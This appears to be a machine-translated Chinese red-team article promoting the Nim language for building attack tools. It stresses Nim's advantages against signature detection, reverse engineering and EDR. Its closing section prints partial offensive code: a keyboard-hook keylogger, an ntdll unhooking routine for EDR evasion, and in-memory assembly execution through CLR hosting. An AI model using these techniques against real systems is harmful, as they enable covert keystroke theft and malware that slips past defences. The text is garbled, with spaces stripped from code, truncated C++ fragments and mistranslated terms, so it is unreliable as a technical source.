技术背景随着计算机技术的发展,计算机研究人员试图根据现有语言的缺陷创造更好的编程语言,新技术造福于计算机界同时,经常成为攻击组织的目标,成为攻击者全新的武器开发语言。对于传统的安全检测设备和安全研究人员来说,新语言相对晦涩难懂,具有语言本身的特点。面对传统的安全措施,更容易被绕过,这就增加了安全设备识别和检测的难度,大大增加了安全防御的成本。在这些新的编程语言中,Nim语言尤其受到攻击者的青睐。其中,APT组织TA800在攻击中多次使用了Nim语言开发的NimzaLoader下载器;APT28组织的攻击工具Zebrocy使用Nim语言重构等。本文将从蓝军研究人员的角度分析Nim语言的优势和利用,希望对读者有所启发。Nim语言的优势分析1.语言本身的优势与其他同类语言相比,Nim语法更加简洁,执行性能也有所提升。类脚本语法和封装良好的内部函数降低了开发难度,较低的开发成本缩短了武器化项目的开发周期。在效率方面,如下图所示,Nim在计算从0到1亿的colchicius数时,与C语言一样快,比python快很多:在可读性、语法和表达方面,相比C-像语言一样需要大括号和分号(例如JavaScript和C++)。Nim语言更简洁易读,没有Ruby语言的do和end。C++语言和Nim语言实现0到9的循环代码,对比如下:#Nim语言实现0-9的循环输出foriin0..<10:echo(i)//C++实现输出0-9#includeusingnamespacestd;intmain(){for(inti=0;i<10;i++){cout<intmain(intargc,char*argv[]){MessageBoxA(0,"Hello,world!","MessageBoxExample",0);WinExec("calc.exe",SW_SHOW);return0;}查看C生成的exe文件的导出表语言编程,可以找到我们执行的WindowsApi函数:使用Nim语言执行MessageBox弹窗,用WinExec执行计算器,代码如下:procMessageBoxA*(hWnd:int,lpText:cstring,lpCaption:cstring,uType:int32):int32{.discardable,stdcall,dynlib:“user'32”,importc。}MessageBoxA(0,"Hello,world!","MessageBoxExample",0)procWinExec*(lpCmdLine:cstring,uCmdShow:int32):int32{.discardable,stdcall,dynlib:"kernel32",importc.}WinExec("calc.exe",0)查看Nim语言生成的exe文件的导出表,没有找到相关的WindowsApi函数。2、对抗签名检测优势分析签名和哈希检测在恶意软件检测方法中占有一席之地。研究人员从程序中提取特征码和哈希值,编写yara规则,实现恶意软件的匹配检测。使用Nim语言改写可以复活现有的基于C/C++等语言的恶意程序。这些程序大多在原始版本中标有各种静态特征,用Nim重构后的程序无论是签名哈希还是特征码都会发生变化,达到绕过规则检测的效果。Nim等新兴语言对于传统分析师来说相对陌生和晦涩。缺乏针对性的分析工具,使得新兴语言几乎都有自己的混淆效果。golang曾经因为二进制的特殊性而受到武器开发者的青睐,但随着IDAGolangHelper等分析插件的逐步完善,分析成本已经大幅降低。Nim语言二进制文件的分析工具还不完善,它作为新兴语言的红利期还没有结束。与常见的高级语言和其他新兴语言相比,Nim语言在逆向工程中给分析人员带来了更大的难度和成本,相关的安全措施还不成熟,导致越来越多的武器开发者使用编写的Loader在Nim语言等新兴语言中用于部署RAT或CobaltStrike等攻击软件。3、交叉编译和支持跨平台优势Nim语言支持交叉编译,降低了攻击者制作和交付不同架构软件的成本。攻击者无需考虑不同架构带来的问题,只需修改少量代码即可。生成可以在不同系统上执行的病毒可以极大地扩大攻击面并降低开发成本。windows平台下编译arm架构下的linux程序:nimc--cpu:amd64--os:linux--compileOnly--genScript.\crossCompileTest.nim执行后生成多个文件,复制到linux系统中,复制nimbase.h在一起。在linux下执行sh文件,在linux下生成可执行文件并执行成功:4.更多优点可执行文件大小优化使用参数-d:danger-d:strip--opt:size对文件大小影响显着程序优化。过程如下,执行命令:nimc-d:danger-d:strip--opt:size.\begin.nim如下图,大小从204KB减小到39.5KB:方便的winim库Nim的第三个-party库winim提供了方便的WindowsApi调用方式,提高了开发效率,使用winim和不使用winim时两者的大小差别不大。Nim语言基础语法Nim的语法简洁易读。基本语法如下:更多语法属性可以参考Nim官方文档。#1.打印输出echo"HelloWorld"#2.变量声明和赋值——变量名:变量类型varvar1:int#int类型varvar2:string#字符串类型var1=3var2="str"#3.控制流程#3.1if-elseifvar1==3:echo"True"elifvar1>3:echo"bigger"elifvar1<3:echo"smaller"#3.2switchcasecasevar1of3:echo"Case:Yes,it's3"else:echo"Case:No,itisn't3"#3.3forcountup是一个迭代器,相当于python的rangeforiincountup(1,10):echoi#3.4while,breakusage,类似于pythonwhilevar1==3:echo"while:Yes,it's3"break#4.Procedures使用,相当于函数#discardable用于声明返回值类型为"discard"procAddpro(x,y:int):int{.discardable.}=returnx+yecho(Addpro(3,4))#输出返回值#5.高级数组类型#5.1数组类型,固定大小typeIntArray=array[1..5,int]#从1到5的索引,元素个数为5vararr:IntArrayarr=[5,10,15,20,25]forindex,valinarr:echo"Index:",index,"Value=",val#5.2sep序列类型,相当于dynamicArray或者python的listvararrSep:seq[int]#arrSep=@[5,10]#赋值方式和数组[]一样,但是有一个@symbolinfrontechoarrSep#...nim中还有更多的结构体官方文档可以找#6.引用和指针类型#自定义一个对象,相当于结构体MyObj=objectname:stringage:intvarobj1:MyObjobj1=MyObj(name:"I",age:12)echoobj1echosizeof(obj1)#sizeof(name)+sizeof(age)=8#7.对于FFI使用,Nim语言终于编译成C语言,所以用FFI很方便procstrcmp(a,b:cstring):cint{.importc:"strcmp",nodecl.}letcmp=strcmp("C?","Easy!")echocmpNiminblues武器中的例子1.keylogger使用Nim实现对WindowsApi的调用,实现对键盘操作的hook,完成keylogger部分的代码如下:elifkeycodeinKeyDict:keypressed=KeyDict.getOrDefault(keycode)else:varcapped:bool=(GetKeyState(20)!=0)if(cappedandshifted)或not(cappedorshifted):keypressed=$toLowerAscii(chr(ord(keycode)))else:keypressed=$toUpperAscii(chr(ord(keycode)))echofmt"[*]Key:{keypressed}[Window:'{currentActiveWindow}']"returnCallNextHookEx(0,nCode,wParam,lParam)#hook键盘函数varhook=SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)HookCallback,0,0)效果如下:2.实现了躲避EDR检测的unhookdll。在unhookdll中,将新映射的dll的.text块复制到原来hook的虚拟地址,实现覆盖,释放edr对dll的hook,实现edr检测规避。Nim中有Emitpragma,可以直接在Nim中嵌入C/C++代码。使用该语法嵌入unhookdll相关代码实现调用。我们直接在Nim中调用相关的C++代码,部分代码如下:使用emit实现C++代码嵌入。>VirtualAddress),hookedSectionHeader->Misc.VirtualSize,memcpy((LPVOID)((DWORD_PTR)ntdllBase+(DWORD_PTR)hookedSectionHeader->VirtualAddress),(LPVOID)((DWORD_PTR)ntdllMappingAddress+(DWORVirtualProtect((LPVOID)((DWORD_PTR)ntdllBase+(DWORD_PTR)hookedSectionHeader->VirtualAddress),hookedSectionHeader->Misc.VirtualSize,}}CloseHandle(process);CloseHandle(ntdllFile);CloseHandle(ntdllMapping);FreeLibrary(ntdllModule);return0;}3.CLRHosting执行shellcode使用CLR托管,可以在内存中加载.Net程序集,这是一种隐藏的shellcode执行方式,在使用C\C++实现该功能时,需要对clr进行初始化,在Nim中的winim库中,clr的初始化相关工作有进行了处理,对开发者更加友好,减少了开发者的工作量。相关代码如下:importwinim/clrvarbuf:array[,byte]=[...]#省略要执行的程序集varassembly=load(buf)vararr=toCLRVariant(commandLineParams(),VT_BSTR)assembly.EntryPoint.Invoke(nil,toCLRVariant([arr]))总结了Nim语言的新颖之处及其语言特性。在混淆、隐藏、反杀、开发等方面具有一定的优势。特别适合制作Loader、Dropper等武器化工具。对安全产品和安全措施具有一定的防御和规避作用,攻击者使用频率越来越高。它提醒我们做更多的研究,值得探索更多的可能性。